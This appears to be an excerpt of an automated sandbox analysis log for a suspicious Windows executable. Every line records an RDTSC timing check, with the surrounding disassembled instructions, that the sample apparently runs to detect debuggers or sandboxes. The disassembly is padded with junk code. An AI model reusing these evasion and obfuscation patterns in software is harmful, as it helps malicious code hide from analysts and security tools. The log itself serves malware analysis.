Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: B9AC68 second address: B9AC72 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: B9ADC9 second address: B9ADCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: B9B34F second address: B9B378 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FD6ACBFE9FDh 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e jmp 00007FD6ACBFE9FDh 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 push esi 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: B9B378 second address: B9B37F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop esi 0x00000007 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: B9E7C4 second address: B9E7FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007FD6ACBFEA08h 0x0000000b jmp 00007FD6ACBFEA08h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: B9E7FB second address: B9E805 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FD6ACBE62BCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: B6EDDE second address: B6EDE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BA1908 second address: BA190D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BA190D second address: BA191F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FD6ACBFE9F6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BA191F second address: BA194C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jnp 00007FD6ACBE62B8h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FD6ACBE62C9h 0x00000019 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BA194C second address: BA1980 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FD6ACBFE9FBh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [eax] 0x0000000f jmp 00007FD6ACBFEA06h 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BA1980 second address: BA199C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6ACBE62C4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BA0174 second address: BA017E instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FD6ACBFE9FCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BA33CA second address: BA33CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BA33CF second address: BA33D4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BA33D4 second address: BA33E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push ebx 0x00000006 jne 00007FD6ACBE62B6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: B7096A second address: B7096E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BA8C5B second address: BA8C60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BA8C60 second address: BA8C65 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BA8C65 second address: BA8C75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FD6ACBE62B6h 0x0000000a push edx 0x0000000b pop edx 0x0000000c popad 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: B69D4B second address: B69D55 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FD6ACBFE9F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BA80C8 second address: BA80D6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 jnp 00007FD6ACBE62B6h 0x0000000e rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BA8235 second address: BA8242 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jns 00007FD6ACBFE9F6h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BA8242 second address: BA824F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BA824F second address: BA8272 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FD6ACBFE9F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FD6ACBFEA09h 0x0000000f rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BA87B5 second address: BA87BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FD6ACBE62B6h 0x0000000a rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BA87BF second address: BA87CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BA87CA second address: BA87CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BA8AD5 second address: BA8B01 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007FD6ACBFEA00h 0x00000008 jmp 00007FD6ACBFEA00h 0x0000000d pop edi 0x0000000e jbe 00007FD6ACBFE9FEh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BA8B01 second address: BA8B11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 pushad 0x0000000a push esi 0x0000000b pop esi 0x0000000c push edi 0x0000000d pop edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BA9348 second address: BA934E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BA93F1 second address: BA93F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BA9B1D second address: BA9B27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007FD6ACBFE9F6h 0x0000000a rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BA9B27 second address: BA9B2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BAA117 second address: BAA11F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BAA2E2 second address: BAA2EB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BAA61D second address: BAA627 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FD6ACBFE9F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BAA627 second address: BAA62D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BAA62D second address: BAA643 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FD6ACBFE9F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jg 00007FD6ACBFE9FCh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BAA643 second address: BAA659 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007FD6ACBE62BFh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BAA659 second address: BAA6AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push edi 0x0000000a call 00007FD6ACBFE9F8h 0x0000000f pop edi 0x00000010 mov dword ptr [esp+04h], edi 0x00000014 add dword ptr [esp+04h], 00000019h 0x0000001c inc edi 0x0000001d push edi 0x0000001e ret 0x0000001f pop edi 0x00000020 ret 0x00000021 stc 0x00000022 xchg eax, ebx 0x00000023 push edx 0x00000024 jnl 00007FD6ACBFE9F8h 0x0000002a pop edx 0x0000002b push eax 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f jmp 00007FD6ACBFEA08h 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BAA6AB second address: BAA6B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BAA6B0 second address: BAA6BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FD6ACBFE9F6h 0x0000000a rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BAA6BA second address: BAA6BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BAAC37 second address: BAAC3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BADB3A second address: BADB41 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BAE68B second address: BAE68F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BAF174 second address: BAF18A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jp 00007FD6ACBE62BCh 0x00000010 jnl 00007FD6ACBE62B6h 0x00000016 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BAF18A second address: BAF211 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6ACBFE9FEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a or dword ptr [ebp+122D1BBCh], ebx 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push ebx 0x00000015 call 00007FD6ACBFE9F8h 0x0000001a pop ebx 0x0000001b mov dword ptr [esp+04h], ebx 0x0000001f add dword ptr [esp+04h], 00000019h 0x00000027 inc ebx 0x00000028 push ebx 0x00000029 ret 0x0000002a pop ebx 0x0000002b ret 0x0000002c mov edi, dword ptr [ebp+122D359Ch] 0x00000032 mov esi, 59C63E0Ah 0x00000037 push 00000000h 0x00000039 jmp 00007FD6ACBFEA06h 0x0000003e xchg eax, ebx 0x0000003f jl 00007FD6ACBFE9FCh 0x00000045 pushad 0x00000046 push esi 0x00000047 pop esi 0x00000048 pushad 0x00000049 popad 0x0000004a popad 0x0000004b push eax 0x0000004c push eax 0x0000004d push eax 0x0000004e push edx 0x0000004f jmp 00007FD6ACBFEA07h 0x00000054 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BAFC6D second address: BAFCDB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push ebx 0x0000000e call 00007FD6ACBE62B8h 0x00000013 pop ebx 0x00000014 mov dword ptr [esp+04h], ebx 0x00000018 add dword ptr [esp+04h], 00000018h 0x00000020 inc ebx 0x00000021 push ebx 0x00000022 ret 0x00000023 pop ebx 0x00000024 ret 0x00000025 pushad 0x00000026 mov edi, 2FE1FE81h 0x0000002b jmp 00007FD6ACBE62C6h 0x00000030 popad 0x00000031 push 00000000h 0x00000033 and edi, dword ptr [ebp+122D359Ch] 0x00000039 push 00000000h 0x0000003b mov esi, dword ptr [ebp+122D3518h] 0x00000041 xchg eax, ebx 0x00000042 jns 00007FD6ACBE62BAh 0x00000048 push eax 0x00000049 push eax 0x0000004a push edx 0x0000004b push eax 0x0000004c push edx 0x0000004d jo 00007FD6ACBE62B6h 0x00000053 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BAFCDB second address: BAFCE5 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FD6ACBFE9F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BB17AE second address: BB17C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD6ACBE62C5h 0x00000009 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BB17C7 second address: BB17D4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 popad 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BB17D4 second address: BB17DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BB47C0 second address: BB47C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BB47C6 second address: BB4805 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6ACBE62C4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FD6ACBE62C0h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FD6ACBE62C4h 0x00000016 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BB9798 second address: BB979C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BBB83F second address: BBB850 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FD6ACBE62B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BBB850 second address: BBB860 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD6ACBFE9FBh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BBD839 second address: BBD83F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BBD83F second address: BBD845 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BBD8CD second address: BBD8D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BBE8BF second address: BBE8C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BBE8C5 second address: BBE8CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BBE8CA second address: BBE8D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BBF842 second address: BBF848 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BBF848 second address: BBF8C4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6ACBFE9FDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push esi 0x0000000f pop esi 0x00000010 popad 0x00000011 jmp 00007FD6ACBFEA05h 0x00000016 popad 0x00000017 nop 0x00000018 mov dword ptr [ebp+122D246Dh], esi 0x0000001e push 00000000h 0x00000020 mov edi, dword ptr [ebp+1244680Bh] 0x00000026 pushad 0x00000027 or dword ptr [ebp+122D1B2Bh], eax 0x0000002d popad 0x0000002e push 00000000h 0x00000030 movzx ebx, bx 0x00000033 xchg eax, esi 0x00000034 pushad 0x00000035 jng 00007FD6ACBFEA0Bh 0x0000003b jmp 00007FD6ACBFEA05h 0x00000040 push edx 0x00000041 jc 00007FD6ACBFE9F6h 0x00000047 pop edx 0x00000048 popad 0x00000049 push eax 0x0000004a push eax 0x0000004b push edx 0x0000004c jc 00007FD6ACBFE9FCh 0x00000052 push eax 0x00000053 push edx 0x00000054 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BBF8C4 second address: BBF8C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BC0904 second address: BC0908 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BC2AFC second address: BC2B52 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD6ACBE62C8h 0x0000000b popad 0x0000000c nop 0x0000000d push 00000000h 0x0000000f mov ebx, 580D2925h 0x00000014 sub dword ptr [ebp+122D2C5Fh], eax 0x0000001a push 00000000h 0x0000001c mov di, F123h 0x00000020 xchg eax, esi 0x00000021 jmp 00007FD6ACBE62C7h 0x00000026 push eax 0x00000027 push eax 0x00000028 push edx 0x00000029 jp 00007FD6ACBE62BCh 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BC2B52 second address: BC2B56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BC9190 second address: BC91A1 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FD6ACBE62B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BC91A1 second address: BC91A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BC91A6 second address: BC91AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BC91AC second address: BC91B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BD0DBE second address: BD0DCB instructions: 0x00000000 rdtsc 0x00000002 jng 00007FD6ACBE62B8h 0x00000008 push eax 0x00000009 pop eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
